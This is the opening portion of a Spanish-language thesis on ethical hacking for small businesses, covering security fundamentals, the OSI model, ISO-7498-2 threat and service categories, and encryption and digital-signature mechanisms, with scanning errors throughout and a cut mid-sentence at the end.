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RESUMEN.

Durante los ultimos afios ha surgido la necesidad de proteger la informacion generada por
las empresas ya que esta considerada como el activo mas importante en la actualidad. Al
encontrarse almacenada y procesada en su gran mayoria por medios informéticos la
seguridad para proteger la informacion se ve enfocada en las infraestructuras tecnologicas
qgue utiliza la organizacion. Para este fin se han venido aplicando nuevos métodos de
seguridad que permiten identificar vulnerabilidades y con ello corregir los fallos a tiempo,
precautelando la integridad de los datos de manera Optima. Esta practica es conocida
como hacking ético.

Esta tesis dara un enfoque claro y preciso de cdmo se debe realizar un proceso de este tipo
pasando por varias de sus etapas desde la parte tedrica hasta la parte practica simulando
ataques a las vulnerabilidades en paginas webs y a redes LAN, consiguiendo al final un

manual de cdmo realizar un hacking ético.



ABSTRACT

In recent years, the need to protect information generated by companies has arisen; as
this is considered the most important asset today. Since information is stored and
processed mostly by technological means, security to protect the information is focused
on the technological infrastructure used by the organization. For this purpose, new
methods have been applied in order to identify security vulnerabilities and thereby
correct the flaws on time, safeguarding the integrity of the data optimally. This practice
is known as ethical hacking.

This thesis will give a clear and precise approach on how to perform such a process,
going through several stages from the theoretical to the practical, simulating attacks on
vulnerabilities in LAN networks and websites, to present, at the end, a manual on how to
perform ethical hacking.

Lic. Lourdes Crespo

DPTO. IDIOMAS



INTRODUCCION.

En nuestro pais todavia no se tiene el suficiente conocimiento y concientizacion en cuanto
al resguardo de la informaciéon de empresas publicas y privadas se refiere. En la actualidad
es importante la utilizacion del hacking ético como parte de este proceso. La mayoria de
empresas todavia desconocen de los peligros que existen en el campo de la informatica y
no comprenden que en la hoy en dia se producen perjuicios a través de las nuevas
tecnologias informaticas. Deben tomar en cuenta las amenazas que causan
vulnerabilidades en sus sistemas y que tan perjudicial pudiesen ser para sus intereses. La
amplia funcionalidad ofrecida por las redes, las bases de datos y los programas de
escritorio también es utilizada por los atacantes en contra de las organizaciones para
hacerles dafios y robar informacion.

Con este tema se pretende explorar en este amplio campo de la seguridad de la
informacion y tener las bases fundamentales para poder anticiparse a los posibles ataques

gue pudiesen pasar a las diferentes entidades de nuestro pais.
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OBJETIVOS.

Objetivo general.
e Realizar un manual de hacking ético orientado a las PYMES, investigando y

recolectando informacién, para al final brindar un manual de soporte para las

personas interesadas en el tema.

Objetivos especificos.

Describir las normas y los estandares de seguridad mas relevantes de las
ISO-7498-2 e ISO/IEC -27001 aplicables a las PYMES.

e Crear un Glosario de términos del Hacking Etico.

e Recolectar informacion inicial sobre paginas web utilizando la técnica de

“Information Gathering”.

e Enunciar los métodos para obtener informacion importante y confidencial

sobre las PYMES utilizando la técnica de “Ingenieria Social”.

Xl



CAPITULO .

FUNDAMENTOS DE LA SEGURIDAD INFORMATICA.

INTRODUCCION.

En este capitulo se tratar4 los fundamentos mas relevantes sobre la Seguridad de la
Informacion proponiendo un enfoque claro de los conceptos y pautas del manejo de la
seguridad. Se brindan mecanismos que ayudaran a las empresas a tomar precauciones en sus

puntos mas vulnerables y asi evitar que sean victimas de ataques a sus sistemas.

Este es el punto de partida indispensable para las empresas que estén interesadas en el
resguardo de su informacion ya que se presentaran procedimientos y actividades que deben
seguir para controlar y respaldar su informacion y asi evitar en un mayor porcentaje el riesgo de
sufrir ataques por vulnerabilidades es sus sistemas, pudiendo representar esto en pérdidas

econdémicas y de informacion en la empresa.



1.1 Importancia de la Seguridad de la Informacion.

Hoy en dia es cada vez mas comun la tendencia al uso de computadores y aplicaciones en
el manejo y desarrollo de empresas tanto a nivel de interconectividad como de
interoperabilidad. La Seguridad ha dejado ser imprescindible UGnicamente para datos
clasificados, militares o de gobierno, ahora esta necesidad abarca todos los ambitos
empresariales haciéndolo un elemento fundamental en todo proyecto de sistemas de

informacion.

“El ambito de aplicacion de la seguridad abarca el desarrollo, la integracion, la operacion, la
administracién, el mantenimiento y la evolucion de los sistemas y las aplicaciones, es decir todo

el ciclo de vida de los productos o unidades de negocio” (Areitio 2).

El constante desarrollo e implementacion de las TIC ha producido un impacto notable a través
del Internet dando nuevos alcances al desarrollo empresarial pudiendo: almacenar, procesar y
compartir informacion. Toda organizacion que se crea eficiente tiene que dar la importancia
necesaria en todos los ambitos de su empresa, a la gestion de seguridad ya que de este modo

podré controlar y mantener de manera correcta la confiabilidad de su informacion.

1.1.1 Objetivos de la Seguridad.

La finalidad principal de la seguridad de los sistemas de informacién es que la organizacion
cumpla a cabalidad todos sus objetivos y metas asegurando de la mejor forma posible todas
sus aplicaciones y sus transacciones enfocadas a las TIC. Los objetivos principales de la

seguridad de la informacién son:
Disponibilidad y Accesibilidad de los sistemas.

Su objetivo es controlar que el sistema trabaje puntualmente y que los usuarios con
permisos puedan trabajar sin ningun problema en los sistemas. La disponibilidad garantiza que

los activos de informacion estén disponibles cuando la empresa requiera acceder a ellos.



Integridad.

Su funcion es de validar que la informacion no haya sido modificada por personas no
autorizadas, de esa manera evitar la pérdida de consistencia. Consta de dos fases:

»Integridad de datos:

Es la propiedad verificadora que certifica que los datos no han sido alterados de forma no

autorizada.
»Integridad del Sistemas:

Es la cualidad que tiene un sistema cuando realiza la funcién deseada libre de cualquier

manipulacién externa.
Confidencialidad de datos y de lainformacién del sistema.

Es el aspecto encargado de controlar que la informacion no se dé a conocer a personas no
autorizadas, esta proteccién se aplica en todo momento ya sea cuando se procesa, almacena o

se encuentra en transito, este aspecto es de extrema importancia.
Responsabilidad.

Es el factor que permite realizar las acciones de una organizacion de forma Unica en lo
concerniente a registros de auditoria. Frecuentemente es un requisito interno de la empresa y
abarca de forma directa el no repudio, la disuasién, el aislamiento de fallos y las acciones

legales del cddigo penal.
Confiabilidad.

Es la solidez con la que se han cumplido satisfactoriamente los objetivos anteriores. Es la
confianza a la correcta aplicacion de la seguridad tanto técnica como operacional segun sea
planificado para la proteccién de los sistemas de informacién. Cabe recalcar que los cuatro
primeros objetivos se cumplen satisfactoriamente siempre y cuando el sistema tenga sus
funcionalidades efectuadas correctamente, es decir cumpliendo el objetivo de confianza este
punto debe ser aplicado y verificado durante todo el ciclo de vida del sistema. La disponibilidad
y la accesibilidad dependen de la confidencialidad y esta a su vez de la integridad, porque de
nada serviria que se pretenda tener seguro un sistema si un eslabon no funciona

correctamente.



1.1.2 Actividades en el ciclo de vida de la seguridad.

En la mayoria de los sistemas de informacién los principales aspectos a tener en cuenta

referente a la seguridad son:

» Seguridad Operacional: Se orienta a la seguridad, es todo lo concerniente al entorno de
actividades y la mantencion de un ambiente de trabajo seguro.

» Seguridad de Datos: Esta directamente relacionada a la forma en la que se manejan,
manipulan y procesan los datos ya sea en bases de datos, computadores o servidores.

» Seguridad de Red: Involucra el aseguramiento del software y hardware asi como de los
protocolos y el correcto manejo de la informacién dentro de las redes.

» Seguridad Fisica: Apunta al aseguramiento de estaciones fisicas de trabajo.

> Seguridad del Personal: Esta asociada al personal y determina si los empleados son
dignos de confianza en cuanto a la confidencialidad de la informacién que manejan.

» Seguridad Administrativa: Son los aspectos de gestion de la seguridad dentro de la
empresa.

» Seguridad de los computadores: Se enfoca especificamente a la seguridad de las

estaciones de trabajo y dispositivos de computacién de todo tipo.

1.1.3 Entidades implicadas en la Seguridad.

El resguardo de la informacién debe ser un trabajo en conjunto de todas las partes implicadas

en los sistemas de informacion, entre los mas destacados se encuentran:

» Fabricantes de Productos.

» Desarrolladores de Software.

> Integradores de datos en el sistema.

» Compradores (Organizaciones o usuarios finales).

» Organizaciones de evaluacion de la seguridad (evaluadores de productos, certificadores de
sistemas).

» Administradores de sistemas y de seguridad.
Los niveles basicos de seguridad son:

> Nivel de Aplicacion: Es lo que el usuario final visualiza, este es el nivel mas complejo y el

menos fiable muchos de los fraudes se presenta en este punto.



» Nivel Middleware: Abarca los sistemas de gestién de bases de datos y la manipulaciéon de
software.

» Nivel Sistema Operativo: Se refiere a la gestion de ficheros y la comunicacion.

» Nivel Hardware: Ese es el nivel menos complejo y mas fiable, contempla las caracteristicas
de seguridad del hardware. (Areitio 5)

1.2 Areas de proceso de la Seguridad.
Un correcto proceso de seguridad se divide en tres areas: El proceso de gestion de riesgos,
el proceso de ingeniera de seguridad y el proceso de aseguramiento. Estas tres areas
funcionan conjuntamente para corroborar que se realice de forma eficaz el aseguramiento de la

informacion.
1.2.1 Riesgos.

La gestiéon de riesgos reconoce Yy prioriza los diferentes tipos de peligros relacionados al
desarrollo de un producto, sistema u organizacién. Ademas es el encargado de identificar y

cuantificar la probabilidad de que ocurra una amenaza antes de que suceda.

En un incidente no deseado se presentan tres componentes: amenaza, vulnerabilidad e
impacto. Una vulnerabilidad indica la debilidad de un activo de la empresa que puede ser

aprovechado por una amenaza y que a la larga genera un impacto negativo en la organizacion.

1.2.2 Ingenieria.

La ingenieria de la seguridad es un proceso de suma importancia ya que es el encargado
de implementar soluciones a los problemas presentados por las amenazas. Este proceso
involucra la identificacion de alterativas para posteriormente evaluarlas y aplicar la mejor
solucion a un problema. Durante todo el ciclo de vida del sistema la ingenieria de seguridad
debe garantizar que los sistemas se encuentren configurados correctamente en relacién a los

diferentes riesgos, a este proceso también se lo conoce como seguridad proactiva.

1.2.3 Aseguramiento.

El proceso de aseguramiento llamado también como el grado de confianza proporciona la
confianza en que las salvaguardas implementadas reduciran el riesgo ante las vulnerabilidades.

La confianza proviene de dos propiedades de aseguramiento:



»La correccion: Es la propiedad que deben cumplir las salvaguardas para garantizar que se
cumpla a cabalidad con los requisitos.
»La eficiencia: Verifica que las salvaguardas trabajen de forma correcta para garantizar el

buen funcionamiento.

La verificacion y validacion también juegan un papel preponderante en el establecimiento de la
confianza en un producto o un sistema ya que comprueban si las medidas adoptadas son las

correctas, ademas si han sido previamente validadas y aprobadas para su implementacion.

1.2.4 Factores que motivan cambios en la seguridad.

En la actualidad la seguridad debe estar en constantes mejoras debido a razones como la
interconectividad mediante el Internet conjuntamente con el avance y desarrollo evolutivo de los
sistemas de informacion. Es por eso que dia a dia se debe mejorar las operaciones y
mantenimientos de los sistemas ya que ambientes de negocios dinamicos hace que tengan
igualmente un amplio conjunto de posibles amenazas. Es asi que la seguridad en toda
organizacion debe estar en mejora continua encontrando un punto de equilibrio entre un nivel

aceptable de riesgo con los niveles disponibles de inversion.

1.3 Servicios de Seguridad.

Facilitan la implementacién de una politica de seguridad en una empresa. Abarcando los
sistemas de informacion, redes, computadores, personal, etc. Su enfoque principal es dar
proteccibn a todas las entidades identificables. Entre los servicios mas importantes se

encuentran:

Servicio de disponibilidad — accesibilidad: Interviene directamente en la capacidad que
tiene el sistema para manejar las operaciones con efectividad y brindando la accesibilidad
autorizada de los datos y recursos de la organizacién solo al personal indicado.

Servicio de identificacion -- autenticacién: Ejerce el control entre las maquinas y los
usuarios legitimos asegurandose que sean quienes dicen ser para tener acceso a cierta
informacion.

Servicio de Integridad: Radica en dar garantia que toda la informacion enviada y recibida
a través de la red no ha sido modificada de forma ilicita.

Servicio de no repudio: Certifica que la empresa no pueda negar una accién que realizé
conociendo sus riesgos como puede ser: enviar o recibir un mensaje con cierto contenido a

una hora determinada.



Servicio de confidencialidad-privacidad-anonimato: Su funcién es la de impedir que se
de conocer la identidad de los extremos de una comunicacion, ademas de mantener oculto
los mensajes y datos almacenados durante la comunicacidon, procesamiento Yy
almacenamiento.

Servicio de responsabilidad-auditoria: La principal funcion de la auditoria y el no repudio
es el mantenimiento de la responsabilidad de las acciones de los usuarios. La auditoria de
seguridad puede decirse que es una evaluacidon independiente de los registros y
actividades del sistema asi también el control minucioso de las politicas, procedimientos y
estandares de seguridad.

Servicios de confiabilidad-aseguramiento: Verifica el cumplimiento de los objetivos de
seguridad. Depende en gran medida del buen funcionamiento de otros servicios ligados
directamente a la seguridad de los sistemas, autenticacién y control de acceso.

Servicio de Soporte: Su objetivo es brindar ayuda a servicios mas concretos como la
confidencialidad e integridad, se pueden detallar los siguientes:

> ldentificacion: Brinda la capacidad de poder detectar usuarios, procesos y recursos de
informacion legitima.

» Gestidn de claves: Las claves se deben manejar de forma segura para proteger de
buena forma los servicios relacionados.

» Administracion de seguridad: Se debe dirigir eficientemente las caracteristicas de
seguridad del sistema a gestionar para plasmar correctamente las necesidades
especificas y cambios en el entorno operacional.

» Protecciones del sistema: Representa la calidad con la que se ha implementado la
seguridad en los sistemas.

»Servicio de Prevencion: Evita que se produzca alguna brecha de seguridad, es el
encargado de anticiparse a la aparicion de intrusos dentro del sistema.

»Servicio de deteccion y recuperacién: Este servicio se direcciona en detectar y
recuperarse de un ataque, intrusion o brecha de seguridad. Ya que ningin método de
prevencion es cien por ciento seguro es necesario realizar un monitoreo permanente
en busca de intrusiones o posibles brechas de seguridad y tomar medidas para reducir
el impacto negativo. Para esto existen servicios que ayudan a prevenir atagues entre
los que estan: Auditoria, deteccion y contencién de intrusiones, pruebas de integridad y
restauracion al estado seguro.

» Servicios de seguridad de los sistemas operativos: El correcto funcionamiento de los

sistemas operativos depende en gran medida de los servicios de seguridad que se
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encuentren instalados. Es recomendable que los sistemas de seguridad trabajen en
una capa o un nivel separado del sistema operativo. (Areitio 14 - 20)

1.4 Elementos de gestion de la seguridad de los sistemas de informacién.
Dentro de la gestiébn de la seguridad de los sistemas de informacion existen varios

elementos implicados, entre ellos se encuentran:

1.4.1 Identificacion de todos los activos.

Los activos son los elementos concernientes con el entorno de la empresa entre estos
pueden estar: el personal, los equipos, las instalaciones, las edificaciones, los suministros, el
software, los componentes para la comunicacién de datos. También se encuentra los activos
intangibles como son: la imagen de la organizacién, credibilidad y conocimiento adquirido.
Entre los atributos de los activos estan: su valoracion en funcion de la posible pérdida de
confidencialidad, integridad, disponibilidad, y autenticidad. Los requisitos de proteccion de los

activos dependen de la vulnerabilidad que presentan ante determinada amenaza.

1.4.2 Identificacion de amenazas a los activos.

Una amenaza puede causar grandes problemas como son robos o dafios irreparables en la
empresa. Una amenaza necesita explorar una vulnerabilidad del activo para provocar dafo,
por lo general los ataques son en forma de robo de informacién, destruccién, modificacién no
autorizada, indisponibilidad o pérdida de informacién.

Entra las caracteristicas mas importantes de una amenaza estan:

» El origen (interno o externo).

» La motivacion (empleados disconformes, ventajas competitivas, beneficios econdmicos).

» La frecuencia o periodicidad de los ataques.

» La severidad dependiendo si es 0 no irreversible.

1.4.3 Identificacion de vulnerabilidades.

Las vulnerabilidades potencialmente peligrosas estan vinculadas a los activos de la
empresa, estas pueden ser: las debilidades a nivel fisico, el personal, la gestion, los equipos y
el software. Una vulnerabilidad es un conjunto de condiciones que pueden poner en riesgo un
activo y provocar consecuencias no deseadas, estas pueden clasificarse por su naturaleza
(estaticas o dinamicas), el tipo de acceso (local o remoto), su impacto (peligroso o inofensivo) y

el nivel donde se localizan (fisico, enlace de datos, red, transporte o aplicacion).



1.4.4 Identificacion de Impactos.

Es la consecuencia de la ejecucion de una amenaza sobre un activo de la empresa
pudiendo ser: la destruccion de activos, robo de informacién, peligro de la integridad del
sistema, la pérdida de autenticidad, de confiabilidad o disponibilidad. Dentro de los posibles
efectos indirectos en la organizacion estan: pérdidas econdmicas, pérdida de mercado,
influencia negativa en la imagen de la empresa. Con todos estos efectos secundarios que
puede causar una vulnerabilidad es de suma importancia realizar una estimacion de impactos
gue permita establecer una proporcionalidad entre las consecuencias de la agresién y el coste

de las salvaguardas necesarias.

1.4.5 Aplicacion de Salvaguardas.

Son procedimientos fisicos o légicos que evitan que una amenaza afecte a la empresa
enfocandose en reducir las vulnerabilidades, limitar el impacto de un incidente y facilitar la
recuperacion. Las contramedidas pueden hacer una o varias de las siguientes funciones:
Deteccion, disuasion, prevencion, limitacion, correccién, recuperacion, seguimiento y
concienciacion. Algunos de las salvaguardas mas utilizados son: cortafuegos, gestion de redes,

cifrado, firmas digitales, antivirus y backups de informacion.

1.5 Estandar ISO/IEC 7498.

La ISO (Organizacién Internacional de normalizacion): Entidad conformada por institutos de
nacionales de alrededor de 164 paises es el encargado de desarrollar normas internacionales
de comercio, fabricacién y comunicacion. El objetivo principal de esta organizacion es la de
realizar estandares de productos y seguridad para las empresas a nivel internacional. Esta

conformada por tres tipos de miembros:

» Miembros Simples: Es el organismo mas representativo de un pais.

» Miembros correspondientes: Abarca a los paises que no tienen un comité de
normalizacion.

» Miembros Suscritos: Paises con bajos recursos econémicos a los que se les exige pagos

de tasas menores que a los correspondientes.

Con esta breve introduccién a la organizacion Internacional de normalizacién, a continuacién se
describe la norma ISO/IEC 7498.



El modelo de interconexion de sistemas abiertos (ISO/IEC 7498) también conocido como
modelo OSI (Open system interconnection) fue creado en 1984 por la organizacion
internacional de estandarizacion (ISO). Es un modelo de conexion que tiene como objetivo
principal la estandarizaciéon de todas las interconexiones de red de los sistemas de

comunicacion, independientemente del interfaz o del fabricante.
Este modelo esta divido en 7 capas que son:

» Capa Fisica: La informacion se trata como bits y bites, controla todo lo referente a la
conexion fisica de los datos, esto puede ser: compatibilidad eléctrica, mecanica y funcional.
» Capa de Enlace: La informacion transmitida entre dos maquinas es libre errores. Se agrupa
los bytes en tramas agregando informacion adicional. Esta informacion servira para la
deteccion y correccién de errores, control de flujo entre las maquinas y para la asignacion

de una direccion que indica hacia que maquina se dirige la informacion.

» Capa de Red: Se encarga de que los datos que se envian desde una maquina origen
lleguen a su destino especifico. Los dispositivos encargados de esta tarea son los routers,
estos leen los datagramas y de acuerdo a la informacién adicional que agrega esta capa
sobre los datos se decide el direccionamiento de los mensajes.

» Capa de transporte: Define la forma en la que dos maquinas establecen comunicacion para
efectuar el trasporte de los datos, en esta capa los datagramas se llaman segmentos y su
funcidn es garantizar el envio de los datos independientemente de la red que usen para su
conexion.

» Capa de Sesion: Es la encargada de mantener y controlar el enlace establecido entre las
maquinas que estan transmitiendo informacion. Esta capa se encarga de efectuar las
operaciones establecidas de principio a fin.

» Capa de Presentacién: Se encarga de representar la informacion transmitida entre
computadoras con diferentes topologias de datos. También puede cifrar los datos y
comprimirlos.

> Nivel de aplicacion: Brinda la posibilidad de acceder a los servicios de la demas capas vy
define los protocolos que utilizan las aplicaciones para intercambiar informacion como:

Gestores de bases de datos, servidores de ficheros, etc. (http//:www.wikipedia.org/ Parr 3)
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Grafico 1.1 Capas del Modelo OSI - (http//:www.wikipedia.org/ ,Parr 2)

1.6 Estandar de Seguridad ISO-7498-2.

La norma de seguridad 1SO-7498-2 se refiere a una arquitectura de seguridad que brinda
definiciones estandar sobre terminologias, mecanismos y servicios de seguridad que ofrecen
proteccion a los sistemas abiertos y a la transferencia de datos en cada uno de los niveles del

modelo OSI. Presenta los siguientes conceptos sobre gestion de seguridad:

1.6.1 Aspectos del ciclo de vida de la seguridad.

Dentro del ciclo de vida del modelo ISO se presentan los siguientes aspectos:

» Definir la politica de seguridad: Se define como el conjunto de criterios para la provision de
servicios de seguridad.

» Analizar las amenazas de acuerdo con la politica de seguridad establecida: Una amenaza
es un medio por el cual se puede infringir una politica de seguridad.

» Definir servicios de seguridad con el fin de cubrir las amenazas: Es una prevencién que
puede establecerse para hacer frente a una amenaza.

» Detallar mecanismos para proporcionar los servicios de seguridad: Es un medio para
proporcionar un servicio de seguridad, como pueden ser: el cifrado o una firma digital.

» Establecer el dominio de seguridad: Es el alcance de una politica de seguridad.
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» Proporcionar una gestion continua de seguridad: Es el constante control de la seguridad en

la organizacion.

1.6.2 Identificacion de requisitos de seguridad.

La seguridad de red y de las computadoras abarca en su gran mayoria tres necesidades:

»Secreto, confidencialidad, privacidad, intimidad y anonimato: Se basa en que toda
informacion solo debe ser difundida al personal autorizado incluyendo la impresion,
visualizacion e incluso la simple existencia del objeto.

»Integridad, exactitud, correccién y autenticacion: Cualquier modificacién que se tenga que
realizar en el sistema solo seran modificables por personal autorizado.

» Disponibilidad y accesibilidad: El servicio de disponibilidad requiere un minimo de nivel de
continuidad, para este efecto se pueden identificar tres tipos de servicios de disponibilidad:

e Cuando una red detecta condiciones que afectarian el servicio por debajo de un nivel
minimo de tolerancia pre-especificado e informa de esa falla a sus operadores.

e Cuando la red posee un alto nivel de recuperacion para proporcionar continuidad en un
servicio ya sea en los equipos, usuarios y procesos no autorizados que alteren datos.

e Cuando una red puede brindar un servicio continuado pero también cuenta con un

sistema de adaptacion y reconfiguracion automatica. (Areitio 27)

1.6.3 Tipos genéricos de amenazas.

Los sistemas de computacion son un proveedor de informacion, esto deriva a un flujo de
informacién desde una fuente como puede ser un fichero o una region de memoria principal
a un destino ya sea otro fichero o usuario. Existen cuatro categorias generales de

amenazas:

> Interrupcion: Esta es una amenaza a la disponibilidad, se produce cuando un factor
estratégico del sistema se destruye, se hace inaccesible o no utilizable.

> Interceptacion: Es una amenaza a la confidencialidad de la informacién, causada cuando
una parte no autorizada ya sea persona, software o computador obtiene acceso a un factor
estratégico de la empresa.

» Modificacion: Hace referencia a una amenaza a la integridad de la informacion, ocurre
cuando una parte no autorizada una vez que ha obtenido acceso modifica un factor

estratégico.
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» Fabricacion: También constituye una amenaza a la integridad, es ocasionada cuando una
parte no autorizada inserta objetos falsificados en el sistema. Entre los varios ejemplos se

puede citar: la insercion de falsos mensajes en la red para engafiar a los usuarios.

1.6.4 Clasificacion de amenazas.

Las amenazas puedes ser segun la forma de producirse como accidentales
(malfuncionamiento del sistema) e intencionales (intento predeterminado) a este ultimo se lo
puede considerar como un ataque. También se pueden clasificar segun el efecto que producen

y la forma en la que operan, estas son:

»Amenazas Pasivas: Su objetivo principal es obtener informacion confidencial sin cambiar el
estado del sistema, en gran medida se realiza mediante una monitorizacién de las
transmisiones de la empresa mejor conocido como sniffers, estas se dividen en dos tipos de
amenazas:

e Liberacién de contenido de mensaje: Se produce cuando un usuario no autorizado

lee contenido de una transmision de datos.

¢ Analisis de tréfico: Se basa en la intercepcién de informacién a través del flujo de

tréfico.

» Amenazas Activas: Pueden producir modificaciones en el flujo de datos o0 a su vez la
creacion de unos flujos de datos falsos. Comprenden tres areas fundamentales: La
interrupcidn que afecta la disponibilidad, la modificacion y repeticién que afecta la integridad
y la fabricacion. Se pueden identificar cuatro categorias:

e Suplantacion: Sucede cuando una entidad se hace pasar por otra, comUnmente
incluye un ataque activo.

e Repeticion: Comprende la captura de unidades de datos de protocolo y su
retransmision, dando como consecuencia la produccién de un efecto no autorizado
mediante la repeticién de un mensaje sea este total o parcial.

¢ Modificacibn de mensajes: Significa que alguna parte del mensaje original fue
alterado, retardado o reordenado sin que sea detectado produciendo un efecto no
autorizado.

¢ Denegacidon de servicios: Impide el normal funcionamiento de las actividades de
comunicacion inhabilitando la red o a su vez sobrecargandola con mensajes con el

fin de degradar su rendimiento. (Areitio 29)
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1.6.5 Politicas de seguridad genéricas.

“La informacion no puede darse, ni puede permitirse el acceso a ella, ni se puede utilizar ningn
recurso por parte de personas o entidades que no estén autorizadas de forma apropiada.”
(Areitio 29)

Al mismo tiempo constituye una base posible para politicas mas detalladas, se distinguen en
dos tipos:

» Politicas basadas en identidad: Donde el acceso y utilizacion de recursos se determina en
base a las identidades de usuarios y recursos.
» Politicas basadas en reglas: Donde el acceso a los recursos se maneja a través de reglas

globales para todos los usuarios.

1.6.6 Categorias de servicios de seguridad.

Se puede definir cinco categorias principales de seguridad:

> Autenticacion de entidades y de origen: Brinda una comprobacion de una identidad
solicitada en un instante de tiempo, utilizada normalmente al iniciar una conexion
permitiendo realizar una verificacion del origen de los datos, sus posibles amenazas son la
suplantacion y la repeticion.
» Control de acceso: Ofrece proteccidn contra el uso no autorizado de un recurso, incluyendo
la utilizacién de un recurso de comunicacién (lectura, escritura, borrado y ejecucién de un
recurso de procesamiento).
» Confidencialidad de datos: Es la proteccién contra la revelacibn no autorizada de
informacién. Se pueden identificar los siguientes tipos:
¢ Confidencialidad no orientada a conexion: Utilizado para protocolos no orientados a la
conexién, basada en datagramas (IP o UDP).

¢ Confidencialidad orientada a conexién: Manejado en protocolos orientados a conexion,
basados en circuito virtual (TCP), proporcionando confidencialidad a todos los datos
trasmitidos durante la conexion.

¢ Confidencialidad de campo selectivo: Su propésito principal es impedir que se pueda
conocer el contenido de la informacién de un campo especifico (Unidad de datos de
protocolo).

¢ Confidencialidad del flujo de trafico: Su objetivo es impedir que se conozcan el nimero de

PDU transmitidas o las direcciones de los sistemas implicados.
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» Integridad de datos: Proporciona proteccion contra amenazas activas enfocado a la validez
de los datos, garantizando que todos los datos recibidos por el receptor de una
comunicacion coincidan con los enviados por el emisor. Se identifican cinco tipos.

e Integridad orientada a conexién con recuperacion: Utilizado para poder detectar posibles
modificaciones dentro de las PDU intercambiadas por los protocolos del tipo orientado a
conexion, con capacidad de recuperacion de fallos de integridad.

e Integridad orientada a conexion sin recuperacién: Para poder detectar posibles
modificaciones dentro de las PDU intercambiadas por los protocolos del tipo orientado a
conexion, sin capacidad de recuperacion de fallos de integridad.

e Integridad orientada a conexiéon de un campo selectivo: Brinda la capacidad de detectar
las posibles modificaciones dentro de campos especificados de las PDU.

e Integridad no orientada a conexion: Descubre las posibles modificaciones dentro de las
PDU intercambiadas por los protocolos del tipo no orientado a conexion.

e Integridad de un campo colectivo sin conexién: Muestra las posibles modificaciones
dentro de campos especificos de las PDU intercambiadas por los protocolos de tipo no
orientado a conexion.

> No repudio: Protege tanto al emisor como al receptor del envidé o recepcion autentificada de
datos. Se identifican dos tipos: De origen y destino.

e El servicio de no repudio con prueba de origen brinda al destinatario una prueba del

origen de los datos.

e El servicio de no repudio con prueba de destino ofrece al emisor una prueba de que los

datos se han entregado al destinatario. (Areitio 30)

1.6.7 Mecanismos de seguridad.

Son utilizados para brindar soporte a los servicios de seguridad. Estan divididos en dos clases:

»Mecanismos de seguridad especificos: Proporcionan servicios de seguridad concretos
como la confidencialidad, integridad y autenticacion. Los mecanismos de seguridad
especificos pueden dividirse en:
¢ Cifrado de clave publica.
¢ Firma digital.

e Mecanismo de control de acceso.
e Intercambios de autenticacion.

e Relleno de tréfico.
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e Control de encaminamiento.

e Notarizacion.

»Mecanismos de seguridad generalizados: Brindan soporte a mecanismos mas
generalizados por ejemplo, responsabilidad y auditoria, recuperacion de la seguridad.

Mecanismos de cifrado simétrico y asimétrico.

Su funcionamiento se basa en algoritmos que ocultan el contenido de los mensajes,
pudiendo brindar confidencialidad tanto en los datos como en el trafico. Consiste en el empleo
de algoritmos matematicos para transformar los datos originales en una forma que no sea
entendible. La transformacién y subsiguiente recuperacion de los datos depende del algoritmo y

de una o varias claves de cifrado.
Cifrado convencional (Clave secreta o simétrico).

Este cifrado consta de un algoritmo y una clave secreta que deben compartir tanto el emisor
como el receptor, esta clave debe ser lo suficientemente robusta para que el contenido cifrado

no sea revelado a personas no autorizadas.
Cifrado de clave publica o asimétrica.

Una de los principales problemas que presentan los esquemas de cifrados convencionales
son la necesidad de distribuir las claves de una forma segura. Un procedimiento para distribuir
las claves es mediante la utilizacion de un esquema de cifrado que no precisa distribucion de
clave, a este esquema se denomina cifrado de clave publica o cifrado asimétrico siendo uno de

los algoritmos mas conocidos el RSA.
Mecanismos de control de acceso.

Sirve para decidir si un usuario puede obtener acceso a cierta informacién en el servidor,
asegurando que solo los usuarios autorizados tengan acceso a los datos para ser visualizados,
modificados o eliminados, pudiendo asi tener un control estricto de la informacién. El control de
acceso asociado al usuario se centra en una autenticacién que la persona debe ingresar para
poder acceder a un sistema con permisos y accesos especiales segun la jerarquia del usuario.
Existen varias maneras de mejorar el esquema de contrasefias, se pueden sefialar las

siguientes:
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» Registros y generacion de informes de seguridad: Hace referencia a todos los intentos
incorrectos de entrada y otros eventos contra la seguridad dentro de un sistema operativo.
» Utilizar contrasefias alfanuméricas: Se recomienda que el numero de caracteres sea
minimo de ocho no relacionadas con el usuario y que sea facilmente recordable para que
no sean escritas en lugares visibles por otras personas.

» Desconexién automatica de la linea: Se produce cuando el usuario ingresa reiteradamente
una contrasefa incorrecta, también se puede retardar la presentacion del Login-password
dependiendo del numero de ensayos pudiendo desactivar el inicio de sesidon cuando supere

un nimero de determinado de intentos.
Mecanismos de intercambio de autenticacion

Un documento, archivo, fichero u otra coleccion de datos se dice que es auténtico cuando
proviene de su origen declarado sin modificaciones, ademas de verificar que la informacion
transmitida en legitima también comprueba que los datos lleguen a tiempo. Los mecanismos de
intercambio de autenticacién también son conocidos como protocolos de autenticacién, brinda
un servicio de identificacion a los usuarios enviando una serie de mensajes protegidos junto
con las reglas para procesarlos, este método realiza una proteccion contra atagues pasivos y
escuchas clandestinas. El método mas utilizado para la autenticacibn de mensajes es la
utilizacién de un codigo de verificacion o MAC, aunque también son utilizadas la criptografia
unidireccional Hash o la firma digital.

El funcionamiento de un codigo de autenticacion de mensajes es el siguiente: Los datos a
enviar junto con una clave secreta se utilizan para generar un codigo de autenticacién, los
datos mas el cddigo se transmiten al receptor y el receptor realiza mediante el mismo algoritmo
la clave secreta un calculo sobre los datos utilizando la misma clave secreta para generar un

cbdigo de mensaje, al final compara el resultado con ese célculo.
Mecanismo de Firma digital.

Su mecanismo es el de cifrar con una clave privada teniendo como intermediario una
entidad firmante con finalidad de garantizar la autenticidad y la integridad del mensaje. La MAC
protege a las dos partes que intercambian informacion frente a posibles ataques. Sin embargo
no protege la una de la otra ya que un receptor puede falsificar un mensaje y afirmar que lo ha

recibido de un determinado emisor, analogamente; Asi también un emisor puede negar el envio
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de un mensaje. Estas posibles inseguridades se solucionan con la utilizacion de las firmas

digitales que tienen las siguientes propiedades:

» Verificacion del autor, fecha y hora de la firma digital.
» Autentificacion del contenido del mensaje en el instante de la firma.
» La firma debe ser verificable por terceras partes para evitar posibles disputas.

Los mecanismos de firma digital constan de dos procedimientos:

» Procedimiento de firmado (Privado).
» Procedimiento de verificacion (Publico): Consiste en comprobar si el cifrado de la firma con
clave publica del firmante coincide con el hash del documento a firmar.

Existen diferentes planteamientos para la autenticacion, estos se pueden clasificar en:

» Firma digital directa: Dificulta el no repudio. Existen dos modalidades:

e Esquema de firma digital simple solo con autenticacion: El emisor cifra el hash del
